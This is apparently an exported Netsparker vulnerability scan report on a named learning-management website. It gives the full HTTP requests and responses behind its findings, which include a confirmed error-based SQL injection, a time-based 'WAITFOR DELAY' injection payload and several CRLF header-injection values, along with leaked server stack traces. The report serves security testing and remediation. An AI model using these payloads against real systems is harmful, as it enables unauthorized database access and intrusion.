is_sinix || is_aix || is_linux || is_bsd || is_freebsd); var is_vms = ((agt.indexOf("vax")!=-1) || (agt.indexOf("openvms")!=-1)); var is_java = (navigator.javaEnabled()) ? true : false; var is_cookie = (navigator.cookieEnabled) ? true : false; //--> end hide JavaScript </script> <script language="JavaScript"> // this is where we write out the VBScript for MSIE Windows var WM_startTagFix = '</'; var msie_windows = 0; if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) { msie_windows = 1; document.writeln('<script language="VBscript">'); document.writeln('\'This will scan for plugins for all versions of Internet Explorer that have a VBscript engine version 2 or greater.'); document.writeln('\'This includes all versions of IE4 and beyond and some versions of IE 3.'); document.writeln('Dim WM_detect_through_vb'); document.writeln('WM_detect_through_vb = 0'); document.writeln('If ScriptEngineMajorVersion >= 2 then'); document.writeln(' WM_detect_through_vb = 1'); document.writeln('End If'); document.writeln('Function WM_activeXDetect(activeXname)'); document.writeln(' on error resume next'); document.writeln(' If ScriptEngineMajorVersion >= 2 then'); document.writeln(' WM_activeXDetect = False'); document.writeln(' WM_activeXDetect = IsObject(CreateObject(activeXname))'); document.writeln(' If (err) then'); document.writeln(' WM_activeXDetect = False'); document.writeln(' End If'); document.writeln(' Else'); document.writeln(' WM_activeXDetect = False'); document.writeln(' End If'); document.writeln('End Function'); document.writeln(WM_startTagFix+'script>'); } /* This script block will test all user agents that have a real plug-in array (i.e. Netscape) and set the variables, otherwise it directs the routine to WM_activeXDetect to detect the activeX control. */ function WM_pluginDetect(plugindescription, pluginxtension, pluginmime, activeXname) { var i,plugin_undetectable=0,detected=0, daPlugin=new Object(); /* Then we check to see if it's an MSIE browser that you can actually check for the plugin in question. */ if (msie_windows && WM_detect_through_vb){ plugin_undetectable = 0; } else { plugin_undetectable = 1; } /* If it has a real plugins or mimetypes array, we look there for the plugin first */ if(navigator.plugins) { numPlugins = navigator.plugins.length; if (numPlugins > 1) { if (navigator.mimeTypes && navigator.mimeTypes[pluginmime] && navigator.mimeTypes[pluginmime].enabledPlugin && (navigator.mimeTypes[pluginmime].suffixes.indexOf(pluginxtension) != -1)) { // seems like we have it, let's just make sure and check the version (if specified) if ((navigator.appName == 'Netscape') && (navigator.appVersion.indexOf('4.0') != -1)) { for(i in navigator.plugins) { if ((navigator.plugins[i].description.indexOf(plugindescription) != -1) || (i.indexOf(plugindescription) != -1)) { // some versions of quicktime have no description. feh! detected=1; break; } } } else { for (i = 0; i < numPlugins; i++) { daPlugin = navigator.plugins[i]; if ((daPlugin.description.indexOf(plugindescription) != -1) || (daPlugin.name.indexOf(plugindescription) != -1)) { detected=1; break; } } } // Mac weirdness if (navigator.mimeTypes[pluginmime] == null) { detected = 0; } } return detected; } else if((msie_windows == 1) && !plugin_undetectable) { return WM_activeXDetect(activeXname); } else { return 0; } } else { return 0; } } </script> <script> <!-- var hasFlash = WM_pluginDetect('Flash', 'swf', 'application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash'); var flashVersion = 0; if(WM_pluginDetect('Flash 9', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.9')) { flashVersion = 9; }else if(WM_pluginDetect('Flash 8', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.8')) { flashVersion = 8; }else if(WM_pluginDetect('Flash 7', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.7')) { flashVersion = 7; }else if(WM_pluginDetect('Flash 6', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.6')) { flashVersion = 6; } else if(WM_pluginDetect('Flash 5', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.5')) { flashVersion = 5; } else if(WM_pluginDetect('Flash 4', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.4')) { flashVersion = 4; } else if(WM_pluginDetect('Flash 3', 'swf','application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash.3')) { flashVersion = 3; } else if(WM_pluginDetect('Flash 2', 'swf','application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash.2')) { flashVersion = 2; } //--> var IBChk=false,IBVChk=false,CookiesChk=false,FlashPChk=false,JREChk=false,PopupBChk=false </script></head><body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onload="eval('do..
Database User Has Admin Privileges

Database User Has Admin Privileges
1 TOTAL
IMPORTANT
CONFIRMED
1
Netsparker identified that the target web site is connecting to the backend database by using a user that has administrative privileges. This issue has been confirmed by checking the connection privileges via an identified SQL Injection vulnerability in the application.

Impact

This can allow an attacker to gain extra privileges via SQL Injection attacks. Here is the list of attacks that the attacker might carry out:

Remedy

Create a database user with the least possible permissions for your application and connect to the database with that user. Always follow the principle of providing the least privileges for all users and applications.

External References

- /KeyRegister

/KeyRegister CONFIRMED

http://learn.bridgefront.com/KeyRegister

Request

POST /KeyRegister HTTP/1.1
Referer: http://learn.bridgefront.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: learn.bridgefront.com
Cookie: JSESSIONID=8FFB3759A352D98FFEA3A5A0445029C3
Content-Length: 218
Accept-Encoding: gzip, deflate

replace2_ul_='%7C%7Ccast((select%20chr(95)%7C%7Cchr(33)%7C%7Cchr(64)%7C%7Cchr(53)%7C%7Cchr(100)%7C%7Cchr(105)%7C%7Cchr(108)%7C%7Cchr(101)%7C%7Cchr(109)%7C%7Cchr(109)%7C%7Cchr(97))%20as%20numeric)%7C%7C'&submit=Register

Response

HTTP/1.1 500 Internal Server Error
Date: Tue, 26 Apr 2011 01:17:49 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 6637
Connection: close
Content-Type: text/html; charset=UTF-8



<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

function showdiv2(param)
{
if(param=="show")
{
document.all.div1.style.visibility="visible";
// document.errorform.r2.value="specific";
}
else
{
document.all.div1.style.visibility="hidden";
// document.errorform.r2.value="all";
}
}

</script>

</head>
<body bgcolor="#FFFFFF">

<font face="Helvetica">

<h2><font color=#DB1260>Ooooops... An Error Occured.</font></h2>

<pre>
<b>
SERVER NAME: learn.bridgefront.comSERVER PORT: 80REMOTE HOST: 173.193.214.243EXCEPTION: java.lang.NullPointerExceptionJSP REQUESTED: /errorpage.jsp?null
<table border="0">

<tr>
<td>
<input type="radio" checked value="hide" name="R2" onClick="showdiv2('hide')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial" >Hide Details</font><br>
</td>
<td>
<input type="radio" value="show" name="R2" onClick="showdiv2('show')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial">Show Details</font><br>
</td>
</tr>
</table>
<hr width=100%>
<DIV ID="div1" STYLE="visibility:hidden">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2">
<tr>
<td>
org.postgresql.util.PSQLException: ERROR: invalid input syntax for type numeric: "_!@5dilemma" at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:1592) at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1327) at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:192) at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:451) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:336) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:235) at org.apache.tomcat.dbcp.dbcp.DelegatingStatement.executeQuery(DelegatingStatement.java:208) at com.user.KeyRegister.doPost(KeyRegister.java:41) at javax.servlet.http.HttpServlet.service(HttpServlet.java:710) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
<tr><td>--------------------</td></tr>
<tr>
<td>java.lang.NullPointerException at org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:129) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:630) at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:436) at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:374) at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:302) at com.user.KeyRegister.sendErrorRedirect(KeyRegister.java:135) at com.user.KeyRegister.doPost(KeyRegister.java:101) at javax.servlet.http.HttpServlet.service(HttpServlet.java:710) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
</table>

<p>
<hr width=100%>
</body>
</html>
HTTP Header Injection

HTTP Header Injection
5 TOTAL
MEDIUM
A CRLF (New line) injection in HTTP headers was identified. This means that the input goes into HTTP headers without proper input filtering.

Impact

Depending on the application. An attacker might carry out the following forms of attacks:

Actions to Take

  1. See the remedy for solution.
  2. Ensure the server security patches are up to date and that the current stable version of the software is in use.

Remedy

Do not allow newline characters in input. Where possible use strict white listing.

Required Skills for Successful Exploitation

Crafting the attack to exploit this issue is not a complex process. However most of the unsophisticated attackers will not know that such an attack is possible. Also an attacker needs to reach his victim by an e-mail or other similar method in order to entice them to visit the site or click upon a URL.

External References

- /logincontroller

/logincontroller

http://learn.bridgefront.com/logincontroller

Parameters

Parameter Type Value
forwardpage POST lm_login.jsp
replace0_ul_ POST http://example.com/? ns: netsparker056650=vuln
replace1_ul_ POST 3
submit POST Login

Request

POST /logincontroller HTTP/1.1
Referer: http://learn.bridgefront.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: learn.bridgefront.com
Cookie: JSESSIONID=8FFB3759A352D98FFEA3A5A0445029C3
Content-Length: 121
Accept-Encoding: gzip, deflate

forwardpage=lm_login.jsp&replace0_ul_=http://example.com/%3f%0D%0Ans:%20netsparker056650=vuln&replace1_ul_=3&submit=Login

Response

HTTP/1.1 302 Moved Temporarily
Date: Tue, 26 Apr 2011 01:17:47 GMT
Server: Apache/2.2.3 (Red Hat)
Location: http://learn.bridgefront.com/login.jsp?reason=loginfailed&uid=http://example.com/?
ns: netsparker056650=vuln
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


- /sendpassword

/sendpassword

http://learn.bridgefront.com/sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=nul..

Parameters

Parameter Type Value
button1 GET Get Password
button2 GET Get User Name
forgetbrand GET null
forwardpage GET login.jsp
replace0_ul_ GET http://example.com/? ns: netsparker056650=vuln
replace1_ul_ GET 3
totalvalues GET 3

Request

GET /sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=http://example.com/%3f%0D%0Ans:%20netsparker056650=vuln&replace1_ul_=3&totalvalues=3 HTTP/1.1
Referer: http://learn.bridgefront.com/forgetpassword.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Cookie: JSESSIONID=8FFB3759A352D98FFEA3A5A0445029C3
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 302 Moved Temporarily
Date: Tue, 26 Apr 2011 01:18:24 GMT
Server: Apache/2.2.3 (Red Hat)
Location: http://learn.bridgefront.com/forgetpassword.jsp?status=error&result=0&sendpasswordof=null&login=http://example.com/?
ns: netsparker056650=vuln&email=3
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


- /sendpassword

/sendpassword

http://learn.bridgefront.com/sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=nul..

Parameters

Parameter Type Value
button1 GET Get Password
button2 GET Get User Name
forgetbrand GET null
forwardpage GET login.jsp
replace0_ul_ GET 3
replace1_ul_ GET http://example.com/? ns: netsparker056650=vuln
totalvalues GET 3

Request

GET /sendpassword?button1=Get+Password&button2=Get+User+Name&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=3&replace1_ul_=http://example.com/%3f%0D%0Ans:%20netsparker056650=vuln&totalvalues=3 HTTP/1.1
Referer: http://learn.bridgefront.com/forgetpassword.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Cookie: JSESSIONID=8FFB3759A352D98FFEA3A5A0445029C3
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 302 Moved Temporarily
Date: Tue, 26 Apr 2011 01:18:24 GMT
Server: Apache/2.2.3 (Red Hat)
Location: http://learn.bridgefront.com/forgetpassword.jsp?status=error&result=0&sendpasswordof=null&login=3&email=http://example.com/?
ns: netsparker056650=vuln
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


- /sendpassword

/sendpassword

http://learn.bridgefront.com/sendpassword?totalvalues=3&forgetbrand=null&forwardpage=login.jsp&repla..

Parameters

Parameter Type Value
totalvalues GET 3
forgetbrand GET null
forwardpage GET login.jsp
replace0_ul_ GET http://example.com/? ns: netsparker056650=vuln
replace1_ul_ GET 3

Request

GET /sendpassword?totalvalues=3&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=http://example.com/%3f%0D%0Ans:%20netsparker056650=vuln&replace1_ul_=3 HTTP/1.1
Referer: http://learn.bridgefront.com/forgetpassword.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Cookie: JSESSIONID=1B3FB576C860FF50C5478C31E0BD27CE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 302 Moved Temporarily
Date: Tue, 26 Apr 2011 01:19:48 GMT
Server: Apache/2.2.3 (Red Hat)
Location: http://learn.bridgefront.com/forgetpassword.jsp?status=error&result=0&sendpasswordof=null&login=http://example.com/?
ns: netsparker056650=vuln&email=3
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


- /sendpassword

/sendpassword

http://learn.bridgefront.com/sendpassword?totalvalues=3&forgetbrand=null&forwardpage=login.jsp&repla..

Parameters

Parameter Type Value
totalvalues GET 3
forgetbrand GET null
forwardpage GET login.jsp
replace0_ul_ GET 3
replace1_ul_ GET http://example.com/? ns: netsparker056650=vuln

Request

GET /sendpassword?totalvalues=3&forgetbrand=null&forwardpage=login.jsp&replace0_ul_=3&replace1_ul_=http://example.com/%3f%0D%0Ans:%20netsparker056650=vuln HTTP/1.1
Referer: http://learn.bridgefront.com/forgetpassword.jsp
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Cookie: JSESSIONID=1B3FB576C860FF50C5478C31E0BD27CE
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 302 Moved Temporarily
Date: Tue, 26 Apr 2011 01:19:49 GMT
Server: Apache/2.2.3 (Red Hat)
Location: http://learn.bridgefront.com/forgetpassword.jsp?status=error&result=0&sendpasswordof=null&login=3&email=http://example.com/?
ns: netsparker056650=vuln
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8


Internal Server Error

Internal Server Error
1 TOTAL
LOW
CONFIRMED
1
The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.

Impact

The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.

Remedy

Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.
- /KeyRegister

/KeyRegister CONFIRMED

http://learn.bridgefront.com/KeyRegister

Parameters

Parameter Type Value
replace2_ul_ POST ';WAITFOR DELAY '0:0:25'--
submit POST Register

Request

POST /KeyRegister HTTP/1.1
Referer: http://learn.bridgefront.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: learn.bridgefront.com
Cookie: JSESSIONID=8FFB3759A352D98FFEA3A5A0445029C3
Content-Length: 65
Accept-Encoding: gzip, deflate

replace2_ul_=%27;WAITFOR%20DELAY%20%270:0:25%27--&submit=Register

Response

HTTP/1.1 500 Internal Server Error
Date: Tue, 26 Apr 2011 01:17:32 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 6618
Connection: close
Content-Type: text/html; charset=UTF-8



<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

function showdiv2(param)
{
if(param=="show")
{
document.all.div1.style.visibility="visible";
// document.errorform.r2.value="specific";
}
else
{
document.all.div1.style.visibility="hidden";
// document.errorform.r2.value="all";
}
}

</script>

</head>
<body bgcolor="#FFFFFF">

<font face="Helvetica">

<h2><font color=#DB1260>Ooooops... An Error Occured.</font></h2>

<pre>
<b>
SERVER NAME: learn.bridgefront.comSERVER PORT: 80REMOTE HOST: 173.193.214.243EXCEPTION: java.lang.NullPointerExceptionJSP REQUESTED: /errorpage.jsp?null
<table border="0">

<tr>
<td>
<input type="radio" checked value="hide" name="R2" onClick="showdiv2('hide')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial" >Hide Details</font><br>
</td>
<td>
<input type="radio" value="show" name="R2" onClick="showdiv2('show')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial">Show Details</font><br>
</td>
</tr>
</table>
<hr width=100%>
<DIV ID="div1" STYLE="visibility:hidden">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2">
<tr>
<td>
org.postgresql.util.PSQLException: ERROR: syntax error at or near "WAITFOR" at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:1592) at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1327) at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:192) at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:451) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:336) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:235) at org.apache.tomcat.dbcp.dbcp.DelegatingStatement.executeQuery(DelegatingStatement.java:208) at com.user.KeyRegister.doPost(KeyRegister.java:41) at javax.servlet.http.HttpServlet.service(HttpServlet.java:710) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
<tr><td>--------------------</td></tr>
<tr>
<td>java.lang.NullPointerException at org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:129) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:630) at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:436) at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:374) at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:302) at com.user.KeyRegister.sendErrorRedirect(KeyRegister.java:135) at com.user.KeyRegister.doPost(KeyRegister.java:101) at javax.servlet.http.HttpServlet.service(HttpServlet.java:710) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
</table>

<p>
<hr width=100%>
</body>
</html>
Auto Complete Enabled

Auto Complete Enabled
1 TOTAL
LOW
CONFIRMED
1
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".

Impact

Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.

Remedy

Add the attribute autocomplete="off" to the form tag or to individual "input" fields.

Actions to Take

  1. See the remedy for the solution.
  2. Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.

Required Skills for Successful Exploitation

Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.

External References

- /

/ CONFIRMED

http://learn.bridgefront.com/

Identified Field Name

replace1_ul_

Request

GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:16:45 GMT
Server: Apache/2.2.3 (Red Hat)
Set-Cookie: JSESSIONID=9E7B7DC5BD17EC41DDE53C50F28B0C6B; Path=/
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <title>BridgeFront | LMS | Login</title><link href="/lscheme/default/css/Learner.css" rel="stylesheet" type="text/css"><script type="text/javascript" src="/js/LearnerSideJsFunctions.js"></script><link rel="shortcut icon" href="favicon.ico"><script>var lmsDown = false; COPYRIGHT = "&copy; BridgeFront, 2002-"; function writeCopyright() { document.write(COPYRIGHT, new Date().getFullYear()); }function submitkeyform(){if (lmsDown){alert("LMS is currently down for routine maintenance on April 24, 2011, until noon PST.");return false;}if (!checkPreRequisites()){ alert("System Checks failed. Action Required on Prerequisites before you can access the LMS."); //return false; //CODE COMMENTED BY RAVIRAJ ON 27-10-2009 return true; //CODE ADDED BY RAVIRAJ ON 27-10-2009} if(document.getElementById("replace2_ul_").value==""){ document.getElementById("spanreplace2_ul_").innerHTML="Key cannot be empty"; return false; }else{ if(isAnyText(document.getElementById("replace2_ul_"),MANDATORY,"Reistration Key")){ return true; } } document.getElementById("replace2_ul_").value=""; return false; }function specialValidation(){if (lmsDown){alert("LMS is currently down for routine maintenance on April 24, 2011, until noon PST.");return false;}if (!checkPreRequisites()){ alert("System Checks failed. Action Required on Prerequisites before you can access the LMS."); //return false; //CODE COMMENTED BY RAVIRAJ ON 27-10-2009 return true; //CODE ADDED BY RAVIRAJ ON 27-10-2009} var val1, val2; var normalValidationFlag = true; val1 = document.getElementById('replace0_ul_').value; val2 = document.getElementById('replace1_ul_').value; if(val1==''){ document.getElementById("spanreplace0_ul_").innerHTML="Username cannot be empty"; normalValidationFlag = false; } if(val2==''){ document.getElementById("spanreplace1_ul_").innerHTML="Password cannot be empty"; normalValidationFlag = false; } return normalValidationFlag;}function checkPreRequisites(){if (!FlashPChk || !IBChk || !IBVChk || !CookiesChk){//return false; //CODE COMMENTED BY RAVIRAJ ON 27-10-2009return true; //CODE ADDED BY RAVIRAJ ON 27-10-2009}return true;}</script><noscript> <H1>Your browser does not support Javascript</H1>This page will not function correctly. </noscript> <style> .homepageborder{ border: 1px solid #A9C2C1; } .AnnouncementTitle { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; border: #A9C2C1; font-weight: bold; color: #38504F; text-align: left; text-indent: 2pt; vertical-align: middle; } .TitleRed { font-family: 